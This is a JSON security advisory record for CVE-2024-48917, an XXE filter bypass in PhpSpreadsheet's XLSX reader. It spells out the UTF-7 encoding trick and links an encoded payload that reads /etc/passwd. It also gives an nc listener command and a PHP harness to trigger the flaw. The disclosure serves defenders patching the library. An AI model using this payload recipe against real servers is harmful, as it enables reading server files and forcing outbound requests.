{"id":"CVE-2024-48917","aliases":["GHSA-7cc9-j4mv-vcjp"],"url":"https://o3.security/vulnerability/CVE-2024-48917","summary":"XXE in PHPSpreadsheet's XLSX reader","details":"### Summary\n\nThe [XmlScanner class](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php) has a [scan](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L72) method which should prevent XXE attacks.\n\nHowever, we found another bypass than the previously reported `CVE-2024-47873`, the regexes from the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method, which is used for determining the current encoding can be bypassed by using a payload in the encoding UTF-7, and adding at end of the file a comment with the value `encoding=\"UTF-8\"` with `\"`, which is matched by the first regex, so that `encoding='UTF-7'` with single quotes `'` in the XML header is not matched by the second regex: \n\n```\n $patterns = [\n            '/encoding\\\\s*=\\\\s*\"([^\"]*]?)\"/',\n            \"/encoding\\\\s*=\\\\s*'([^']*?)'/\",\n        ];\n``` \n\nA payload for the `workbook.xml` file can for example be created with [CyberChef](https://gchq.github.io/CyberChef/#recipe=Encode_text('UTF-7%20(65000)')&input=Pz4KPCFET0NUWVBFIGZvbyBbCiAgPCFFTEVNRU5UIGZvbyBBTlkgPgogIDwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgPl0%2BCjxmb28%2BJnh4ZTs8L2Zvbz4K).\nIf you open an Excel file containing the payload from the link above stored in the `workbook.xml` file with PhpSpreadsheet, you will receive an HTTP request on `127.0.0.1:12345`. You can test that an HTTP request is created by running the `nc -nlvp 12345` command before opening the file containing the payload with PhpSpreadsheet.\n\nTo create the payload you need:\n1. Create a file containing `<?xml version = \"1.0\" encoding='UTF-7'` in an XML file\n2. Use the link attached above to create your XXE payload and add it to the XML file. \n3. Add `+ADw-+ACE---encoding=\"UTF-8\"--+AD4-` to the end of the XML file, which is matched by the first regex. \n\n### PoC\n\n[payload.xlsx](https://github.com/user-attachments/files/17375792/payload.xlsx)\n\n- Create a new folder.\n- Run the `composer require phpoffice/phpspreadsheet` command in the new folder.\n- Create an `index.php` file in that folder with the following content:\n```PHP\n<?php\nrequire 'vendor/autoload.php';\n\nuse PhpOffice\\PhpSpreadsheet\\Spreadsheet;\nuse PhpOffice\\PhpSpreadsheet\\Writer\\Xlsx;\n\n$spreadsheet = new Spreadsheet();\n\n$inputFileType = 'Xlsx';\n$inputFileName = './payload.xlsx';\n\n/**  Create a new Reader of the type defined in $inputFileType  **/\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader($inputFileType);\n/**  Advise the Reader that we only want to load cell data  **/\n$reader->setReadDataOnly(true);\n\n$worksheetData = $reader->listWorksheetInfo($inputFileName);\n\nforeach ($worksheetData as $worksheet) {\n\n$sheetName = $worksheet['worksheetName'];\n\necho \"<h4>$sheetName</h4>\";\n/**  Load $inputFileName to a Spreadsheet Object  **/\n$reader->setLoadSheetsOnly($sheetName);\n$spreadsheet = $reader->load($inputFileName);\n\n$worksheet = $spreadsheet->getActiveSheet();\nprint_r($worksheet->toArray());\n\n}\n```\n- Run the following command: `php -S 127.0.0.1:8080`\n- Add the [payload.xlsx](https://github.com/user-attachments/files/17375792/payload.xlsx) file in the folder and open <https://127.0.0.1:8080> in a browser. You will see an HTTP request on netcat <http://127.0.0.1:12345/ext.dtd>.\n\n### Impact\n\nAn attacker can bypass the sanitizer and achieve an [XXE attack](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing).","published":"2024-11-18T19:48:42.656Z","modified":"2026-08-12T03:51:47.101118900Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"1.29.4"},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"2.1.3"},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"2.3.2"},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"3.4.0"},{"ecosystem":"Packagist","name":"phpoffice/phpexcel","fixedVersion":null}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php"},{"type":"WEB","url":"https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/48xxx/CVE-2024-48917.json"},{"type":"ADVISORY","url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7cc9-j4mv-vcjp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-48917"},{"type":"PACKAGE","url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:47.101118900Z"}}